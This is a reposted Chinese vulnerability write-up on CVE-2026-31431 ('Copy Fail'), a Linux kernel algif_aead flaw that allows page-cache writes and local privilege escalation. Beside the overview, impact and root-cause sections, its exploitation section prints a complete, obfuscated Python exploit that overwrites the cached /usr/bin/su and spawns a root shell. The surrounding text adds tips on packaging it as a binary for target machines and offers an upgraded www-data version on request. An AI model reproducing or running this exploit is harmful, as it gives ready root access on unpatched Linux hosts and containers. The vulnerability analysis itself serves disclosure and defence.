潜伏9年,732字节即可提权:CopyFail漏洞深度解析

admin 2026-05-02 06:25:10 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: CVE-2026-31431(CopyFail)是Linux内核algif_aead加密模板中的逻辑漏洞,允许非特权用户向页缓存写入4字节数据,导致本地提权。该漏洞自2017年潜伏,利用仅需732字节脚本,可篡改setuid文件获取root权限,并存在容器逃逸风险。修复方案将原地操作改为非原地操作以阻断写入路径。 综合评分: 87 文章分类: 漏洞分析,二进制安全,Linux安全,权限提升,应急响应


cover_image

潜伏9年,732字节即可提权:Copy Fail 漏洞深度解析

原创

江南的江 江南的江

云晞科技Sec

2026年4月30日 11:34 湖北

在小说阅读器读本章

去阅读

一、基本信息

| 项目 | 内容 | | — | — | | 漏洞编号 | CVE-2026-31431 | | 漏洞代号 | Copy Fail(复制失败) | | CVSS 评分 | 7.8(高危) | | 漏洞类型 | 本地权限提升(Local Privilege Escalation, LPE) | | 发现者 | Xint Code 团队(theori-io) | | Red Hat 评估 | 中等严重性,修复延后(Fix deferred) | | 影响范围 | 几乎所有主流 Linux 发行版 | | 潜伏时间 | 自 2017 年起至今 |

二、漏洞概述

CVE-2026-31431 是 Linux 内核加密子系统中的一个逻辑缺陷,源于 algif_aead 加密模板。该漏洞允许非特权本地用户向系统中任意可读文件的页缓存(page cache)执行可控的 4 字节写入操作。

值得关注的是,这个漏洞自 2017 年起就一直潜伏在 Linux 内核中,直到 2026 年才被发现并披露,影响几乎所有主流发行版。

三、漏洞利用

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while&nbsp;i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

避免目标环境没有python,打包成二进制程序执行

www-data用户似乎无法直接利用

升级版(支持www-data用户直接提权root)

原本的是需要交互式的www-data 无法提权

后台发送:Copy Fail 即可获得,脚本来自艾莉大佬

四、影响与危害

直接危害

  • 攻击者可通过篡改页缓存中的 setuid 二进制文件实现权限提升,获取 root 权限
  • 概念验证(PoC)代码在漏洞披露后数天内即出现,据报道仅需 732 字节的脚本即可完成提权
  • 利用条件简单、门槛低,使其成为现实威胁而非理论漏洞

衍生风险

  • 容器逃逸原语:Docker、Kubernetes 等容器化环境中未打补丁的节点同样面临逃逸风险
  • 供应链信任冲击:连内核加密模板这类”经过严格审查”的组件都能藏匿严重缺陷,引发对底层信任假设的反思

五、技术根因

漏洞代码路径源于早期对 algif_aead 的一项性能优化——允许在加密过程中执行原地(in-place)运算,即让页缓存页面直接出现在可写的 scatterlist 中。

上游的修复方案是将原地 AEAD 操作还原为非原地(out-of-place)操作,确保页缓存页面不再处于可写状态,从根本上切断写入路径。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:云晞科技Sec 江南的江 江南的江《潜伏9年,732字节即可提权:Copy Fail 漏洞深度解析》

评论:0   参与:  0